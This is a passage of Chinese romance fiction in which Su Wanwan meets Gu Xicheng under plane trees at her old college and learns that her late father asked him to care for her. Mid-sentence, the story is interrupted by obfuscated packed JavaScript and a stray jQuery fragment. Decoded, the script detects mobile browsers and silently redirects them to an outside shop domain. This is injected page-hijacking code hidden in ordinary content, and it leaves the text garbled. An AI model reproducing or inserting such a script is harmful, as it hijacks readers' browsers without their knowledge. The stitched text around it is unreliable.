苏晚晚站在梧桐树下，等了很久。
她没想到自己会来这个地方。从长途汽车站出来以后，她本来应该直接回建设路，但她的脚把她带到了这里——锦城师范学院后门那条梧桐道，秋天的叶子还没有开始黄，树冠撑开一片均匀的绿荫，把整条路罩住。路的尽头有一张长椅，铁制的，油漆剥落得厉害，露出底下的锈迹。她在那张长椅上坐下来，把帆布包放在脚边，看着走道上来来往往的学生——有人夹着课本匆匆走过，有人骑着自行车在后座载人，车铃叮叮当当地响着，笑声散在风里。
她自己也曾经是这里的学生。六年前，她在这条路上走过无数遍，从图书馆到食堂，从教学楼到宿舍，从来没想到有一天自己会以另一种身份回来。她低头看了自己一眼，牛仔裤膝头磨得发白，帆布包带子断了一截，被她用黑胶带缠着——不像一个来怀旧的人，倒像一个无处可去的人终于找到了一个可以坐下来的位置。
阳光透过梧桐叶的缝隙洒下来，在她手背上投下一枚一枚细碎的光斑。她把手摊开，让那些光斑落在掌心，然后慢慢握紧，像抓住了一把看不见的东西。
有人在她旁边坐下来。
她没有转头。从余光里，她看到一双黑色的皮鞋，裤脚熨得笔直，膝盖处有一道折痕——细节清晰。她没有动，也没有把目光移开，只是继续看着前方那条走道，像在看一个已经结束的镜头。
“我知道你会来这里。”顾西城的声音不高，像在陈述一个事实，“你上大学那几年，每次心情不好的时候，都会在这棵树下坐一会儿。”
苏晚晚的目光终于转向他。他今天穿了一件深灰色的衬衫，袖口卷了两折，露出一截小臂——小臂上的皮肤被太阳晒成了一种均匀的浅棕色，没有戴表。他看着前方的梧桐树，而不是看着她，像是怕自己的目光会把她吓走。
“你调查我。”苏晚晚说。语气很平，像在陈述另一个事实。
“不是调查。”顾西城的声音很轻，像是在说一件并没有那么复杂的事，“是花了二十年，在学怎么认识你。”
苏晚晚没有立刻接话。她用拇指的指腹在另一只手的大鱼际上按了一下，像在确认自己还醒着——那个动作很短，短到如果不仔细看就会错过。然后她低头看着自己的手背，那些光斑已经移开了，落到了长椅的铁架上。她把双手交叠放在膝盖上，指腹压在骨节上，感受那一圈细小的凹凸。
“你怎么知道我在这里？”
顾西城没有立刻回答。他从口袋里掏出一个东西——银色的，打火机大小，在他拇指和食指之间翻转了一下，然后握在掌心里。他没有打开它。
“你爸在信里写过。”他顿了顿，“他说，如果你有一天走到走投无路了，可能会回到这棵树底下坐一会儿。”
苏晚晚的手指在膝盖上收紧了一点，然后又松开。“你见过我爸？”
顾西城转过头来，第一次直视她的眼睛。目光像一碗放凉了的茶，沉，安定。他的瞳孔颜色很深，近乎墨色，此刻在树影里却没有那种商场礼仪的精致感，反而露出一种极浅的、不算亮的光。
“见过一次。”他说，“2003年，秋天，在锦城。”
苏晚晚张嘴想说点什么，又刹住了。她不确定自己要问什么，也不确定他给出的答案她能接住。她低头看着自己的手，那道疤痕在树影的间隙里显得格外清晰，像一封被拆开过的信，又被人沿着折痕仔细地叠了回去。
“他跟你说了什么？”
顾西城沉默了一会儿。风突然停了一瞬——头顶的梧桐叶静下来，树上的蝉鸣也中断了一拍，整条走道像是被一只看不见的手按住了暂停键。然后风又吹起来，树叶重新沙沙地响。他说：“让我好好照顾你。”
苏晚晚的心跳漏了一拍。像踩楼梯时踩空了一级，什么都没来得及抓住，就往下落了一下，又稳稳地站住了。她捏住自己裤子膝盖处的布料，布料在指腹下微微发热，带起一圈细微的拉扯感。
“他怎么会认识你？”
顾西城没有回答。他把那个银色的打火机放进裤兜里，站起来，走到长椅前面两步的位置，站定，背对着她。
“你爸临终前，托人给我带了一句话。”他的背影在阳光下投出一个清晰的轮廓，肩膀的线条平直，站得很稳，像一棵移栽了很多年的树，根已经扎稳了，风再大也不会晃，“他说，‘小晚晚的伞，你帮她撑一下。’”
苏晚晚看着他的背影，没有说话。
风又吹过来，梧桐叶沙沙地响了好几秒，像一整片树冠都在传递同一句话。她的眼眶有些发胀，但没哭，只是用力闭了一下眼睛，又睁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741874|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开。
“顾先生。”她开口。
他转过身来，隔着两步的距离看着她。树影在他脸上晃动，把表情切成明暗交错的碎片。
“你上次在酒会上说的那些话，是认真说的吗？”苏晚晚的声音很稳。
顾西城看着她，没有马上回答。他的目光从她脸上慢慢滑过——不是审视，是一点一点地确认，像一个走了一段很长的路回到一个地方的人，正在确认那地方还在不在。
“我这个人，从来不在重要的事情上开玩笑。”他说，“第一次是。”
一阵更长的沉默落下来，覆盖了那条走道和学生们的喧哗。苏晚晚坐在长椅上，手没有动，脚也没有动。风扫过她襟前时，把几缕额发吹散，她拨开，像在拨开一道帘子。
顾西城没有坐下来，也没有靠近她。他低头看了她几秒，然后伸手从口袋里掏出一个白色的信封，放在长椅另一头。“这是秋姨让我转交给你的。她说你拿到信之后，就知道该做什么了。”
苏晚晚看着那个信封，没有立刻去拿。
顾西城转身往路口的方向走。走了四五步之后，他停下来，没有回头。
“苏晚晚。”
她抬起头看着他的背影。
“那根头发。”他说，“撑不住的，你可以不撑。”
他停顿了一下，然后迈开步子，沿着梧桐树荫下的走道往前走，越走越远，走成一个模糊的轮廓，消失在路的转角。她一直看着那个转角，直到他的背影完全看不见了，才收回了目光。
她低头看了那个白色信封一眼——没有封口。她抽出来，是一张机票。锦城飞西川，明天上午九点。她把它折好放回信封里，塞进帆布包，最底层，挨着父亲那封信和那份航空边线的白信封，像把三份文件叠在了一起。
然后她站起来，拎起帆布包，沿着来时的路往外走。
走出梧桐树荫的时候，阳光照在她身上，很亮。她感觉到那股温度透过头顶的发丝一点一点地落下来，落在她肩头，落在她握着帆布包带的手背上。阳光把她的影子投在灰色的路面上——浓重，清晰，边缘锐利。
她跨过那道边界时没有回头。只感觉到右手无名指内侧那道银白色的疤痕，被那道阳光烫了一下——像一枚被遗忘的指纹，终于被人重新按在了纸上。